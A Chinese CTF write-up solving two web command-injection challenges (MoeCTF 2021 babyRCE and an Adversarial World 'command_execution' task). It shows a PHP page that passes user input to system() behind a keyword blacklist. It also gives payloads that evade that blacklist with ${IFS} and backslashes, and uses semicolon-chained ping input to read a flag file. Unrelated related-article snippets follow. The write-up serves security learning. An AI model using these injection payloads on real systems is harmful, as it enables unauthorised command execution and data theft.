【CTF刷题9】2024.10.19

server/2024/10/20 13:54:04/
CTF_2021babyRCE_0">[MoeCTF 2021]babyRCE

考点:关键词过滤(绕过方法参考往期博客)

来源:nssctf

 <?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
} 

先用ls查看

image-20241019170841483

空格可以用${IFS}绕过
构造payload:

?rce=ca\t${IFS}fl\ag.php

image-20241019170919138

command_execution

考点:命令执行

来源:攻防世界

image-20241019182142415

先ping一下127.0.0.1

image-20241019182650673

再用;来连接两个命令 127.0.0.1;ls

image-20241019182844520

试试看能不能查看inddex.php

127.0.0.1;cat index.php

image-20241019183259450

很明显,不行,那就退级看看

image-20241019183409397

在home中发现flag。

image-20241019183459124

查看flag

127.0.0.1;cat …/…/…/home/flag.txt

image-20241019173221179

cyberpeace{ac541782e73fa1da4a98ec4bc3449fb1}

http://www.ppmy.cn/server/133355.html

相关文章

TiDB 关联子查询及半连接的优化实践

作者&#xff1a; 数据源的TiDB学习之路 原文来源&#xff1a; https://tidb.net/blog/e9563a23 导读 TiDB 针对子查询语句会执行多种 子查询相关的优化 &#xff0c;以提升子查询的执行性能。半连接语句和关联子查询语句是常用的两类子查询&#xff0c;TiDB 优化器默认包…

python 爬虫模拟登录

在使用 Python 编写爬虫时&#xff0c;模拟登录是一个非常常见的需求&#xff0c;尤其是当你需要爬取需要身份验证的数据时。模拟登录通常需要以下步骤&#xff1a; 分析登录页面&#xff1a;确定提交登录请求的 URL 和相关参数。发送登录请求&#xff1a;模拟用户发送登录表单…

UE4 材质学习笔记09(雨水水坑着色器/完整雨水着色器)

一.雨水水坑着色器 要用到这样一个噪声贴图&#xff0c;我们要做的就是&#xff0c;做出水坑并让水坑在这种浑浊的噪点中产生&#xff0c;因此水坑将从最暗的斑点生长&#xff0c;然后随着它继续占据越来越亮的像素而生长 现在水坑将从上到下投射到世界空间中&#xff0c;所以…

macOS下的文件系统权限问题:从“Read-only”错误到解决实践20241019

macOS下的文件系统权限问题&#xff1a;从“Read-only”错误到解决实践 在 macOS 系统开发和运维的过程中&#xff0c;文件系统的权限问题是程序员常遇到的棘手问题之一。尤其是当你尝试在命令行中克隆 Git 仓库时&#xff0c;突然冒出的“Read-only file system”错误往往让人…

【OpenCV】(七)—— 滤波

OpenCV 中的滤波操作用于去除图像噪声&#xff0c;实现图像的平滑处理&#xff0c;改善图像质量或提取有用的信息。使用一张有噪声的图像作为示例 均值滤波 均值滤波是一种简单的线性滤波技术&#xff0c;通过将像素点周围邻域内的所有像素值取平均来达到平滑图像的效果&#…

golang一个轻量级基于内存的kv存储或缓存

golang一个轻量级基于内存的kv存储或缓存 go-cache是一个轻量级的基于内存的key:value 储存组件&#xff0c;类似于memcached&#xff0c;适用于在单机上运行的应用程序。 它的主要优点是&#xff0c;本质上是一个具有过期时间的线程安全map[string]interface{}。interface的结…

分布式搜索引擎03

0.学习目标 1.数据聚合 聚合(aggregations)可以让我们极其方便的实现对数据的统计、分析、运算。例如: 什么品牌的手机最受欢迎? 这些手机的平均价格、最高价格、最低价格? 这些手机每月的销售情况如何? 实现这些统计功能的比数据库的sql要方便的多,而且查询速度非常快…

【PyTorch 】【CUDA】深入了解 PyTorch 中的 CUDA 和 cuDNN 版本及 GPU 信息

目录 引言一、环境准备1.1 重要的环境依赖1.2 安装 CUDA 和 cuDNN1.3 示例安装步骤1.4 PyTorch、CUDA 和 cuDNN 版本兼容性表 二、检查 CUDA 和 cuDNN 版本三、检查 GPU 可用性四、测试 PyTorch 是否正常工作五、PyTorch 中的 GPU 工作流程五、常见问题解答5.1 如何更新 CUDA 和…